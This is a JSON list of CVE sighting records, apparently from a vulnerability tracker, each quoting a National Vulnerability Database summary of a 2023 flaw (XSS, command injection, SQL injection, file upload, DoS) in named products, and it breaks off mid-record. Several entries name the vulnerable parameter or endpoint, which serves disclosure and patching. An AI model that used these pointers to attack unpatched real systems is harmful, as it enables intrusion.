{"uuid": "6433022a-3e33-4bb3-94e9-b56b57138d26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3158", "type": "seen", "source": "https://t.me/cibsecurity/66510", "content": "\u203c CVE-2023-3158 \u203c\n\nThe Mail Control plugin for WordPress is vulnerable to Stored Cross-Site Scripting via an email subject in versions up to, and including, 0.2.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-12T12:48:35.000000Z"}, {"uuid": "58c2dc09-a719-4711-aec1-6d7e79bd03ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3168", "type": "seen", "source": "https://t.me/cibsecurity/66471", "content": "\u203c CVE-2023-3168 \u203c\n\nThe WP Reroute Email plugin for WordPress is vulnerable to Stored Cross-Site Scripting via an email subject in versions up to, and including, 1.4.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-12T12:35:36.000000Z"}, {"uuid": "05bdc3ea-6fdd-4637-a8ba-7b772e7622ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3127", "type": "seen", "source": "https://t.me/cibsecurity/66457", "content": "\u203c CVE-2023-3127 \u203c\n\nAn unauthenticated user could log into iSTAR Ultra, iSTAR Ultra LT, iSTAR Ultra G2, and iSTAR Edge G2 with administrator rights.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-12T02:29:57.000000Z"}, {"uuid": "eb262647-f510-4ea0-95d3-09186fe1508c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31818", "type": "seen", "source": "https://t.me/cibsecurity/66387", "content": "\u203c CVE-2023-31818 \u203c\n\nAn issue found in Marukyu Line v.13.4.1 allows a remote attacker to gain access to sensitive information via the channel access token in the miniapp function.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-11T18:29:39.000000Z"}, {"uuid": "5b822af7-2ccb-4651-a705-a8106bdd1112", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3108", "type": "seen", "source": "https://t.me/cibsecurity/66413", "content": "\u203c CVE-2023-3108 \u203c\n\nA flaw was found in the subsequent get_user_pages_fast in the Linux kernel\u00e2\u20ac\u2122s interface for symmetric key cipher algorithms in the skcipher_recvmsg of crypto/algif_skcipher.c function. This flaw allows a local user to crash the system.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-11T20:29:51.000000Z"}, {"uuid": "3fbad593-afd3-4fff-af16-cd56f4e549d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31531", "type": "seen", "source": "https://t.me/cibsecurity/63948", "content": "\u203c CVE-2023-31531 \u203c\n\nMotorola CX2L Router 1.0.1 was discovered to contain a command injection vulnerability via the tomography_ping_number parameter.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-12T02:26:45.000000Z"}, {"uuid": "255ed0e1-3371-49f5-8f0e-f6193deb8ac0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31529", "type": "seen", "source": "https://t.me/cibsecurity/63947", "content": "\u203c CVE-2023-31529 \u203c\n\nMotorola CX2L Router 1.0.1 was discovered to contain a command injection vulnerability via the system_time_timezone parameter.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-12T08:08:16.000000Z"}, {"uuid": "1412ef3c-2f0b-4c9f-8a2c-1636aee7ec53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31530", "type": "seen", "source": "https://t.me/cibsecurity/63946", "content": "\u203c CVE-2023-31530 \u203c\n\nMotorola CX2L Router 1.0.1 was discovered to contain a command injection vulnerability via the smartqos_priority_devices parameter.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-12T08:08:18.000000Z"}, {"uuid": "68c1388b-c1e2-4155-bc56-9ab94073901b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31508", "type": "seen", "source": "https://t.me/cibsecurity/63945", "content": "\u203c CVE-2023-31508 \u203c\n\nA cross-site scripting (XSS) vulnerability in PrestaShop v1.7.7.4 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the message parameter in /contactform/contactform.php.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-12T08:08:20.000000Z"}, {"uuid": "2d95f6ad-83bc-449f-851f-d215c2b288ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31163", "type": "seen", "source": "https://t.me/cibsecurity/63850", "content": "\u203c CVE-2023-31163 \u203c\n\nAn Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in the Schweitzer Engineering Laboratories Real-Time Automation Controller (SEL RTAC) Web Interface could allow a remote authenticated attacker to inject and execute arbitrary script code.See SEL Service Bulletin dated 2022-11-15 for more details.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-11T00:15:03.000000Z"}, {"uuid": "f22238c6-c54f-455c-b239-0c12089d01e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31190", "type": "seen", "source": "https://t.me/cibsecurity/66329", "content": "\u203c CVE-2023-31190 \u203c\n\nDroneScout ds230 Remote ID receiver from BlueMark Innovations is affected by an\u00c2\u00a0Improper Authentication vulnerability during the firmware update procedure.Specifically, the firmware update procedure ignores and does not check the validity of the TLS certificate of the HTTPS endpoint from which the firmware update package (.tar.bz2 file) is downloaded.An attacker with the ability to put himself in a Man-in-the-Middle situation (e.g., DNS poisoning, ARP poisoning, control of a node on the route to the endpoint, etc.) can trick the DroneScout ds230 to install a crafted malicious firmware update containing arbitrary files (e.g., executable and configuration) and gain administrative (root) privileges on the underlying Linux operating system.This issue affects DroneScout ds230 firmware from version 20211210-1627 through 20230329-1042.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-11T12:42:44.000000Z"}, {"uuid": "02caee77-ca2e-4902-a28f-a2c1fcffa75a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31191", "type": "seen", "source": "https://t.me/cibsecurity/66326", "content": "\u203c CVE-2023-31191 \u203c\n\nDroneScout ds230 Remote ID receiver from BlueMark Innovations is affected by an information loss vulnerability through traffic injection.An attacker can exploit this vulnerability by injecting, on carefully selected channels, high power spoofed Open Drone ID (ODID) messages which force the DroneScout ds230 Remote ID receiver to drop real Remote ID (RID) information and, instead, generate and transmit JSON encoded MQTT messages containing crafted RID information. Consequently, the MQTT broker, typically operated by a system integrator, will have no access to the drones\u00e2\u20ac\u2122 real RID information.This issue affects the adjacent channel suppression algorithm present in DroneScout ds230 firmware from version 20211210-1627 through 20230329-1042.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-11T12:39:43.000000Z"}, {"uuid": "a5fb495f-95b4-4269-ab32-948b4b0a22fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3118", "type": "seen", "source": "https://t.me/cibsecurity/66263", "content": "\u203c CVE-2023-3118 \u203c\n\nThe Export All URLs WordPress plugin before 4.6 does not sanitise and escape a parameter before outputting them back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-10T20:24:06.000000Z"}, {"uuid": "d6fe3d7c-da41-412d-bcfd-76f304c456d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31862", "type": "seen", "source": "https://t.me/cibsecurity/64461", "content": "\u203c CVE-2023-31862 \u203c\n\njizhicms v2.4.6 is vulnerable to Cross Site Scripting (XSS). The content of the article published in the front end is only filtered in the front end, without being filtered in the background, which allows attackers to publish an article containing malicious JavaScript scripts by modifying the request package.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-19T16:33:01.000000Z"}, {"uuid": "fe8d4504-a361-452c-8968-71b042c42430", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31756", "type": "seen", "source": "https://t.me/cibsecurity/64458", "content": "\u203c CVE-2023-31756 \u203c\n\nA command injection vulnerability exists in the administrative web portal in TP-Link Archer VR1600V devices running firmware Versions <= 0.1.0. 0.9.1 v5006.0 Build 220518 Rel.32480n which allows remote attackers, authenticated to the administrative web portal as an administrator user to open an operating system level shell via the 'X_TP_IfName' parameter.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-19T16:43:13.000000Z"}, {"uuid": "c4fd0b63-8353-4044-a39e-0a467abd86fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31655", "type": "seen", "source": "https://t.me/cibsecurity/64433", "content": "\u203c CVE-2023-31655 \u203c\n\nredis-7.0.10 was discovered to contain a segmentation violation.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-19T00:32:26.000000Z"}, {"uuid": "af49ce3f-ed9f-4a5a-b495-5692abbdf464", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31135", "type": "seen", "source": "https://t.me/cibsecurity/64339", "content": "\u203c CVE-2023-31135 \u203c\n\nDgraph is an open source distributed GraphQL database. Existing Dgraph audit logs are vulnerable to brute force attacks due to nonce collisions. The first 12 bytes come from a baseIv which is initialized when an audit log is created. The last 4 bytes come from the length of the log line being encrypted. This is problematic because two log lines will often have the same length, so due to these collisions we are reusing the same nonce many times. All audit logs generated by versions of Dgraph <v23.0.0 are affected. Attackers must have access to the system the logs are stored on. Dgraph users should upgrade to v23.0.0. Users unable to upgrade should store existing audit logs in a secure location and for extra security, encrypt using an external tool like `gpg`.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-17T22:32:55.000000Z"}, {"uuid": "02db1ba7-22e0-4221-b584-e35e5795bf77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31208", "type": "seen", "source": "https://t.me/cibsecurity/64305", "content": "\u203c CVE-2023-31208 \u203c\n\nImproper neutralization of livestatus command delimiters in the RestAPI in Checkmk < 2.0.0p36, < 2.1.0p28, and < 2.2.0b8 (beta) allows arbitrary livestatus command execution for authorized users.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-27T21:22:17.000000Z"}, {"uuid": "9b1fcd4d-3af6-490c-911c-43e92b71417d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31725", "type": "seen", "source": "https://t.me/cibsecurity/64326", "content": "\u203c CVE-2023-31725 \u203c\n\nyasm 1.3.0.55.g101bc was discovered to contain a heap-use-after-free via the function expand_mmac_params at yasm/modules/preprocs/nasm/nasm-pp.c.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-17T18:44:54.000000Z"}, {"uuid": "76b67714-43ed-4b7e-9b3a-62e8d37cda00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31724", "type": "seen", "source": "https://t.me/cibsecurity/64325", "content": "\u203c CVE-2023-31724 \u203c\n\nyasm 1.3.0.55.g101bc was discovered to contain a segmentation violation via the function do_directive at /nasm/nasm-pp.c.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-17T18:41:53.000000Z"}, {"uuid": "dec2c24e-62fe-47ae-b3d5-b263e08cd34a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31703", "type": "seen", "source": "https://t.me/cibsecurity/64314", "content": "\u203c CVE-2023-31703 \u203c\n\nCross Site Scripting (XSS) in the edit user form in Microworld Technologies eScan management console 14.0.1400.2281 allows remote attacker to inject arbitrary code via the from parameter.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-17T16:31:15.000000Z"}, {"uuid": "a1e51972-7043-426a-8752-dd335db978c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31902", "type": "seen", "source": "https://t.me/cibsecurity/64313", "content": "\u203c CVE-2023-31902 \u203c\n\nRPA Technology Mobile Mouse 3.6.0.4 is vulnerable to Remote Code Execution (RCE).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-17T16:31:14.000000Z"}, {"uuid": "ab19e731-7720-4034-afce-6ca9c27687e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31698", "type": "seen", "source": "https://t.me/cibsecurity/64312", "content": "\u203c CVE-2023-31698 \u203c\n\nBludit v3.14.1 is vulnerable to Stored Cross Site Scripting (XSS) via SVG file on site logo.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-17T16:31:13.000000Z"}, {"uuid": "abca36b8-0d92-4037-8607-a56816de0539", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31702", "type": "seen", "source": "https://t.me/cibsecurity/64311", "content": "\u203c CVE-2023-31702 \u203c\n\nSQL injection in the View User Profile in MicroWorld eScan Management Console 14.0.1400.2281 allows remote attacker to dump entire database and gain windows XP command shell to perform code execution on database server via GetUserCurrentPwd?UsrId=1.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-20T20:12:45.000000Z"}, {"uuid": "9755d028-9d1e-49c5-8e0e-83ff16de2823", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31699", "type": "seen", "source": "https://t.me/cibsecurity/64310", "content": "\u203c CVE-2023-31699 \u203c\n\nChurchCRM v4.5.4 is vulnerable to Reflected Cross-Site Scripting (XSS) via image file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-21T22:33:07.000000Z"}, {"uuid": "a99ef0c8-9de5-495e-8161-add02b0f3e1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31597", "type": "seen", "source": "https://t.me/cibsecurity/64419", "content": "\u203c CVE-2023-31597 \u203c\n\nAn issue in Zammad v5.4.0 allows attackers to bypass e-mail verification using an arbitrary address and manipulate the data of the generated user. Attackers are also able to gain unauthorized access to existing tickets.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-18T22:32:30.000000Z"}, {"uuid": "7aa49a29-8e6e-4009-a44b-00e978264233", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31871", "type": "seen", "source": "https://t.me/cibsecurity/64411", "content": "\u203c CVE-2023-31871 \u203c\n\nOpenText Documentum Content Server before 23.2 has a flaw that allows for privilege escalation from a non-privileged Documentum user to root. The software comes prepackaged with a root owned SUID binary dm_secure_writer. The binary has security controls in place preventing creation of a file in a non-owned directory, or as the root user. However, these controls can be carefully bypassed to allow for an arbitrary file write as root.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-18T20:33:02.000000Z"}, {"uuid": "d1dff5c6-1df4-4a69-9368-7ee5eed5f571", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31233", "type": "seen", "source": "https://t.me/cibsecurity/64390", "content": "\u203c CVE-2023-31233 \u203c\n\nAuth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in Haoqisir Baidu Tongji generator plugin <=\u00c2\u00a01.0.2 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-18T14:32:18.000000Z"}, {"uuid": "cfefd8fb-56a5-4912-b05a-b56828825748", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31847", "type": "seen", "source": "https://t.me/cibsecurity/64291", "content": "\u203c CVE-2023-31847 \u203c\n\nIn davinci 0.3.0-rc after logging in, the user can connect to the mysql malicious server by controlling the data source to read arbitrary files on the client side.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-17T07:31:02.000000Z"}, {"uuid": "59565705-a474-460d-9a35-286a9996309b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31848", "type": "seen", "source": "https://t.me/cibsecurity/64290", "content": "\u203c CVE-2023-31848 \u203c\n\ndavinci 0.3.0-rc is vulnerable to Server-side request forgery (SSRF).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-17T07:31:01.000000Z"}, {"uuid": "e75faa05-f5d8-4fe5-a06d-655674bd307d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31544", "type": "seen", "source": "https://t.me/cibsecurity/64269", "content": "\u203c CVE-2023-31544 \u203c\n\nA stored cross-site scripting (XSS) vulnerability in alkacon-OpenCMS v11.0.0.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Title field under the Upload Image module.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-17T00:32:36.000000Z"}, {"uuid": "962fe960-fe6d-4919-b813-abe60811197d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31701", "type": "seen", "source": "https://t.me/cibsecurity/64328", "content": "\u203c CVE-2023-31701 \u203c\n\nTP-Link TL-WPA4530 KIT V2 (EU)_170406 and V2 (EU)_161115 is vulnerable to Command Injection via _httpRpmPlcDeviceRemove.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-17T18:44:56.000000Z"}, {"uuid": "5986cb6d-36a7-4c41-b655-d1c72b6a7aa5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31722", "type": "seen", "source": "https://t.me/cibsecurity/64327", "content": "\u203c CVE-2023-31722 \u203c\n\nThere exists a heap buffer overflow in nasm 2.16.02rc1 (GitHub commit: b952891).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-17T18:44:55.000000Z"}, {"uuid": "0baf93bf-b40f-4c0b-afc5-6f60bdf69ab6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31700", "type": "seen", "source": "https://t.me/cibsecurity/64324", "content": "\u203c CVE-2023-31700 \u203c\n\nTP-Link TL-WPA4530 KIT V2 (EU)_170406 and V2 (EU)_161115 is vulnerable to Command Injection via _httpRpmPlcDeviceAdd.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-17T18:41:52.000000Z"}, {"uuid": "41dd3c34-ebd5-4bc4-b428-4d53b00fd02f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31723", "type": "seen", "source": "https://t.me/cibsecurity/64323", "content": "\u203c CVE-2023-31723 \u203c\n\nyasm 1.3.0.55.g101bc was discovered to contain a segmentation violation via the function expand_mmac_params at /nasm/nasm-pp.c.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-17T18:41:52.000000Z"}, {"uuid": "9d89bc90-e4e3-4d03-a33d-b7be426dea65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31903", "type": "seen", "source": "https://t.me/cibsecurity/64318", "content": "\u203c CVE-2023-31903 \u203c\n\nGuppY CMS 6.00.10 is vulnerable to Unrestricted File Upload which allows remote attackers to execute arbitrary code by uploading a php file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-17T16:31:20.000000Z"}, {"uuid": "7bd01f32-e75b-4858-90a0-6da87486b577", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31890", "type": "seen", "source": "https://t.me/cibsecurity/64235", "content": "\u203c CVE-2023-31890 \u203c\n\nAn XML Deserialization vulnerability in glazedlists v1.11.0 allows an attacker to execute arbitrary code via the BeanXMLByteCoder.decode() parameter.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-16T20:30:49.000000Z"}, {"uuid": "d1ccc376-d858-414b-97f5-50374c44edcd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31622", "type": "seen", "source": "https://t.me/cibsecurity/64160", "content": "\u203c CVE-2023-31622 \u203c\n\nAn issue in the sqlc_make_policy_trig component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-15T18:30:00.000000Z"}, {"uuid": "3831c5d2-4290-46cd-9ff7-5196690786be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31613", "type": "seen", "source": "https://t.me/cibsecurity/64159", "content": "\u203c CVE-2023-31613 \u203c\n\nAn issue in the __nss_database_lookup component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-15T18:29:59.000000Z"}, {"uuid": "e461794d-04e6-41a1-82c7-b0278699b61c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31618", "type": "seen", "source": "https://t.me/cibsecurity/64158", "content": "\u203c CVE-2023-31618 \u203c\n\nAn issue in the sqlc_union_dt_wrap component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-15T18:29:58.000000Z"}, {"uuid": "2b65f342-5854-462d-bb90-d6d4f45f822e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31572", "type": "seen", "source": "https://t.me/cibsecurity/64217", "content": "\u203c CVE-2023-31572 \u203c\n\nAn issue in Bludit 4.0.0-rc-2 allows authenticated attackers to change the Administrator password and escalate privileges via a crafted request.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-16T18:30:36.000000Z"}, {"uuid": "4b9af5f0-8813-4273-8cc9-c9d8ab7718fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31576", "type": "seen", "source": "https://t.me/cibsecurity/64216", "content": "\u203c CVE-2023-31576 \u203c\n\nAn arbitrary file upload vulnerability in Serendipity 2.4-beta1 allows attackers to execute arbitrary code via a crafted HTML or Javascript file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-16T18:30:34.000000Z"}, {"uuid": "4063ca33-5093-4799-b09a-bb99778c8ad3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31856", "type": "seen", "source": "https://t.me/cibsecurity/64215", "content": "\u203c CVE-2023-31856 \u203c\n\nA command injection vulnerability in the hostTime parameter in the function NTPSyncWithHostof TOTOLINK CP300+ V5.2cu.7594_B20200910 allows attackers to execute arbitrary commands via a crafted http packet.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-16T18:30:33.000000Z"}, {"uuid": "6fbd8aa6-7d35-4276-923c-d5f1eeaf257a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31519", "type": "seen", "source": "https://t.me/cibsecurity/64214", "content": "\u203c CVE-2023-31519 \u203c\n\nPharmacy Management System v1.0 was discovered to contain a SQL injection vulnerability via the email parameter at login_core.php.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-16T18:30:32.000000Z"}, {"uuid": "aa2c1aae-fd65-49ee-a55b-0f48be757395", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31587", "type": "seen", "source": "https://t.me/cibsecurity/64213", "content": "\u203c CVE-2023-31587 \u203c\n\nTenda AC5 router V15.03.06.28 was discovered to contain a remote code execution (RCE) vulnerability via the Mac parameter at ip/goform/WriteFacMac.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-17T21:11:37.000000Z"}, {"uuid": "c184f6b6-45db-4acb-8a0e-29b00d0323b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31857", "type": "seen", "source": "https://t.me/cibsecurity/64210", "content": "\u203c CVE-2023-31857 \u203c\n\nSourcecodester Online Computer and Laptop Store 1.0 allows unrestricted file upload and can lead to remote code execution. The vulnerability path is /classes/Users.php?f=save.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-16T18:30:28.000000Z"}, {"uuid": "e26d2edf-4a16-46f7-93d7-908885951490", 